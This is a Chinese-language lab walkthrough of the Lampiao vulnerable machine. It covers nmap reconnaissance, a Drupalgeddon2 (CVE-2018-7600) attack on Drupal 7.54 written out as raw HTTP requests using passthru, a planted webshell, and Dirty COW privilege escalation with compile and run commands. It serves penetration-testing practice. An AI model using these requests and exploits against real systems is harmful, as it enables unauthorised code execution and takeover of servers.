LamPiao靶机work_through
前言
oscp靶机系列的第二篇。只追求做出来的话,这靶机蛮简单的。但是为了提升难度,尽量避免使用msf——毕竟考试只准用一次嘛,自己写了个exp。
正文
主机发现
nmap -sP 192.168.218.0/24
发现靶机IP 192.168.218.132
nmap -sV -A -p- 192.168.218.132
Nmap scan report for 192.168.218.132
Host is up (0.00099s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http?
80/tcp open http?
| fingerprint-strings:
| NULL:
| _____ _ _
| |_|/ ___ ___ __ _ ___ _ _
| \x20| __/ (_| __ \x20|_| |_
| ___/ __| |___/ ___|__,_|___/__, ( )
| |___/
| ______ _ _ _
| ___(_) | | | |
| \x20/ _` | / _ / _` | | | |/ _` | |
|_ __,_|__,_|_| |_|
1898/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Lampi\xC3\xA3o
访问80端口,只有一个画
1898端口,访问CHANGELOG.txt 得到drupal具体版本号7.54 2017-02-01
看样子能直接打drupalgeddon2 RCE了。
msf果然一把梭哈,留了个小马s.php 密码pass
寻找suid提权
上传Linux-exploit-suggester.sh,脏牛可以提权
有趣的是pocsuite3并没有检测处drupalgeddon2 ,但是msf可以打。让我们好好分析一下
tcpdump -w data.pcap -i eth0 -nn -s0 host 192.168.218.132
抓取msf 打的流量,wireshark 筛选http协议

再看了分析文章之后可以说很显然了,pocsuite3的只是drupal8的payload,并不包括drupal7
我们手动打一下
POST /?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=whoami HTTP/1.1
Host: 192.168.218.132:1898
Content-Length: 47
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.218.132:1898
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.218.132:1898/?q=user/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: has_js=1
Connection: close
_triggering_element_name=name&form_id=user_pass
POST /?q=file/ajax/name/%23default_value/form-3Q-zKa_nY1PvpbTGthaNXUxmyHAyUnpMmqp_jALevls HTTP/1.1
Host: 192.168.218.132:1898
Content-Length: 62
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.218.132:1898
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.218.132:1898/?q=file/ajax/name/%23default_value/form-6JI87Jaq17bIYgG2BkOA_gVnNtWRyJTmwnw1VbqEMp4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: has_js=1; SESS07faf6555595fd9ed723577c1f01f9ec=rh2r55VofVS2NiqKCduex2bKVZVqXR5Q4ImL6p42ZxM
Connection: close
form_build_id=form-3Q-zKa_nY1PvpbTGthaNXUxmyHAyUnpMmqp_jALevls
翻阅msf的exp和其他公开资料,自己写了一个pocsuite3的exp.
项目地址
成功写入webshell,写的直接弹shell没接到。


从虚拟终端反弹shell,发现跟之前的问题一样,ret=2弹不出来——可能是我环境问题吧。msf弄个正向shell
提权
./lnux-exploits-suggester.sh
除了版本还有其他条件的先跳过,高可能的就是dirtycow(40611),dirtycow2(40847)
40611这注释这一段操作没看懂要干嘛
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
执行结果foo也是www-data权限和它不一样
,用40847吧,这个注释直接给了编译语句,没别的啥
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
./dcow


后记
msf流量其实还是有些疑惑。在tcp流中看到先写入一个php文件,后续流量都不是明文的。HTTP请求只有截图中的:查看版本,执行了一条命令,但这条命令是printf,是怎么写文件的?
LamPiao靶机work_through的更多相关文章
- GoldenEye靶机work_through暨CVE-2013-3630复现
前言 备考OSCP,所以接下来会做一系列的OSCP向靶机来练手 靶机描述 I recently got done creating an OSCP type vulnerable machine th ...
- w1R3s靶机work_through
前言 这靶机挺简单的.虽然网友们有分享oscp向的靶机集,但是没有一个难度梯度,做起来就怪怪的. 打点 nmap -sP 192.168.218.0/24 发现主机IP 192.168.218.134 ...
- misdirection靶机work_through
web打点 nmap扫描 Nmap scan report for 192.168.218.135 Host is up (0.000014s latency). Not shown: 65531 c ...
- vulnhub-靶机Lampiao
目标信息:攻击机IP地址:192.1681.10 Lampiao靶机IP地址:192.168.1.12 DC-1靶机IP地址:192.168.1.7 目的:获取靶机root权限和靶机设置的所有flag ...
- vulnhub-Lampiao脏牛提权
准备工作 在vulnhub官网下载lampiao靶机Lampião: 1 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收 ...
- 对vulnhub靶机lampiao的getshell到脏牛提权获取flag
前言: vulnhub里面的一个靶场,涉及到drupal7 cms远程代码执行漏洞(CVE-2018-7600)和脏牛提权. 靶机下载地址:https://mega.nz/#!aG4AAaDB!CBL ...
- 记一次 lampiao渗透(Drupal+脏牛提权)
vulnhub|渗透测试lampiao 题记 最近在打靶机,发现了一个挺有意思的靶机,这里想跟大家分享一下. 环境准备 vulnhub最近出的一台靶机 靶机(https://www.vulnhub.c ...
- 【原创】项目二Lampiao
实战流程 1,nmap扫描C段 ┌──(root㉿heiyu)-[/home/whoami] └─# nmap -sP 192.168.186.0/24 Starting Nmap 7.92 ( ht ...
- CTF线下防御战 — 让你的靶机变成“铜墙铁壁”
本文首发安全客,未经允许禁止转载.原文链接 一. 前言 随着CTF的普及,比赛的形式也有了越来越多的花样,对于线下赛来说,开始出现了安全加固或者防御战之类的环节,亦或者因为拿下靶机后不希望其他攻击者进 ...
随机推荐
- 如何关闭 iPad Pro 自动开启 wifi 和蓝牙
如何关闭 iPad Pro 自动开启 wifi 和蓝牙 为了省电,明明关闭了,但是发现每天都会自动开启,什么鬼设计 https://support.apple.com/zh-cn/HT208086 h ...
- react new features 2020
react new features 2020 https://insights.stackoverflow.com/survey/2019#technology-_-web-frameworks h ...
- Objec.assign & bug
Objec.assign & bug shallow copy https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Referenc ...
- NGK的发行量是多少?NGK销毁机制是怎么样的?
代币销毁(Coin Burning),是指将代币从流通中永久性去除.换句话说,被销毁的代币相当于被永久性冻结,再也无法流入市场.那为什么要进行代币销毁呢? 销毁加密货币,可以使剩余加密货币的价值升高, ...
- HGAME apache
HGAME apache Linux下六十四位可执行文件 IDA找主函数 输入长度为35的字符串,经过一次函数处理,之后if条件函数的返回值为1,就能判定输入就是flag 函数sub_1447的参数 ...
- 与程序员相关的CPU缓存知识
本文转载自与程序员相关的CPU缓存知识 基础知识 首先,我们都知道现在的CPU多核技术,都会有几级缓存,老的CPU会有两级内存(L1和L2),新的CPU会有三级内存(L1,L2,L3 ),如下图所示: ...
- Mysql之用户认证授权管理
概述 Mysql的认证采用账号密码方式,其中账号由两个部分组成:Host和User:Host为允许登录的客户端Ip,User为当前登录的用户名. 授权没有采用典型的RBAC(基于角色的访问控制),而是 ...
- 1063 Set Similarity——PAT甲级
1063 Set Similarity Given two sets of integers, the similarity of the sets is defined to be Nc/Nt*10 ...
- mysql主从备份说明(win系统)
1. 环境描述: 主机:192.168.2.201 从机:192.168.2.111 Mysql版本:5.7 2. 主机my.ini配置: log-bin=C:\mysqlback expire-lo ...
- 微信小程序:优化页面要渲染的属性
问题:页面中只用到四个属性:goods_name,goods_price,goods_introduce,pics,但是整个对象中有22个属性,小程序中建议:data中只存放标签中要使用的数据,而现在 ...